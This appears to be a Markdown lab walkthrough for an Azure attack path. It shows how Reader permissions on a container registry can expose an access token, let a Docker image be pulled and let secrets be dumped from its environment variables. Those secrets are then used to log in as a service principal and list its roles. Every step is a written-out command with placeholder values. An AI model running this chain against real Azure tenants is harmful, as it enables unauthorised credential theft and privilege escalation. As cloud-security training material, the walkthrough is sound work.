30 lines
1.6 KiB
Markdown
30 lines
1.6 KiB
Markdown
- Reader permissions can pull container images
|
|
- Authenticate as Reader
|
|
- `az login -u readeruser@<DOMAIN> -p myPassword123`
|
|
- List container registries - note the name
|
|
- `az acr list -o table`
|
|
- Generate a Docker login and connect to the registry
|
|
- `acr=ACR_NAME`
|
|
- `loginserver=$(az acr login -n $acr --expose-token --query loginServer -o tsv)`
|
|
- `accesstoken=$(az acr login -n $acr --expose-token --query accessToken -o tsv)`
|
|
- `docker login $loginserver -u 00000000-0000-0000-0000-000000000000 -p $accesstoken`
|
|
- List images in the container registry
|
|
- `az acr repository list -n $acr`
|
|
- Enumerate versions by listing tags for an image
|
|
- `az acr repository show-tags -n $acr --repository nodeapp-web`
|
|
- Note registry credentials in session
|
|
- `echo $loginserver`
|
|
- `echo $accesstoken`
|
|
- Open a PowerShell console as Administrator and set variables (if necessary based on Windows version)
|
|
- `$loginserver="<LOGIN_SERVER>"`
|
|
- `$accesstoken="<ACCESS_TOKEN>"`
|
|
- Login to Docker from PowerShell
|
|
- ` docker login $loginserver -u 00000000-0000-0000-0000-000000000000 -p $accesstoken`
|
|
- Pull the image
|
|
- `docker pull $loginserver/nodeapp-web:v1`
|
|
- Examine the image for sensitive information (list env vars)
|
|
- `docker container run --rm $loginserver/nodeapp-web:v1 env`
|
|
- Login with found credentials via Azure CLI
|
|
- `az login --service-principal --username APP_ID --password SECRET_KEY --tenant TENANT_ID`
|
|
- Check role assignment and scope
|
|
- `az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'` |